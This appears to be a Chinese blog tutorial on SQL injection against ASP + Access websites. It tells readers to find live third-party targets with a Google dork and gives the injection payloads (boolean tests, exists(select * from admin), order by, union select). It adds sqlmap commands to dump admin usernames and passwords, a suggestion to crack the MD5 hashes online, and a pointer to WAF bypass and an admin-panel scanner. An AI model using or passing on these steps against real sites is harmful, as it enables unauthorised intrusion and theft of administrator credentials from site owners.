SQL注入实战一之 ASP + Access数据库注入
本文简述一下 SQL 注入的原理,同时手工实战一下,大牛请轻拍。
写在前面
本文敏感信息均已打码,大致讲一下注入过程。
SQL注入原理
SQL注入是发生于应用程序之数据库层的安全漏洞。简而言之,是再输入字符串中注入SQL命令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL命令而运行,因此遭到破坏或是入侵。
环境搭建
安装 Python 2.7 、Sqlmap ,最新版本的 Python 3.5 还不支持 Sqlmap 。
ASP + Acess 数据库手工注入
可能存在注入的站点一般都是这个样式:http://www.xxx.com/xxx.asp?id=N
这里可以用 Google 语法(inurl:asp?id=N( N 是任意数字))来找一些站点试试。
- 手工尝试
1 = 1 没报错,1 = 2 报错,即说明存在 SQL 注入漏洞。接下来开始猜测表名是否存在:and exists(select * from admin) ,未报错则说明存在 admin 表。接着就是爆字段长度:order by N ( N 可以逐渐增加,知道报错,例如 order by 8 显示正常,order by 9 报错,就说明字段长度为 8) 。接着就是爆字段的值:union 1,2,3,4,5,6,7,8 from admin ( 这里的 8 就是字段的长度)。最后在显示的部位用 username 和 password 就好了,爆出来的密码通常用 MD5 加密,再去 在线MD5解密。
- 利用工具
Sqlmap 可谓是注入神器,语法也很简单。这次我们讲的是 Access 数据库,Access 的首要标识是 tables–columns–dump(表–字段–值)。
测试是否是注入点:sqlmap.py -u “URL”
接着爆表:sqlmap.py -u “URL” –tables
接着爆字段:sqlmap.py -u “URL” -T 表名 –columns
爆字段的值:sqlmap.py “URL” -T 表名 -C “username,password” –dump
这个过程会让你选择线程,或者是否解密,多看看 Sqlmap 手册,做一个脚本小子还是很简单的。当然最糟糕的可能就是站点有防火墙(WAF、IPS/IDS等等),这里可以看一下 Sqlmap 绕过 WAF 。
效果图:
管理员的账号和密码就爆出来了,这时候可以去找一下后台,推荐 御剑后台扫描工具 密码:5wvg
这里就只讲爆账号和密码,因为上传木马、拿 shell 我自己并不是很懂。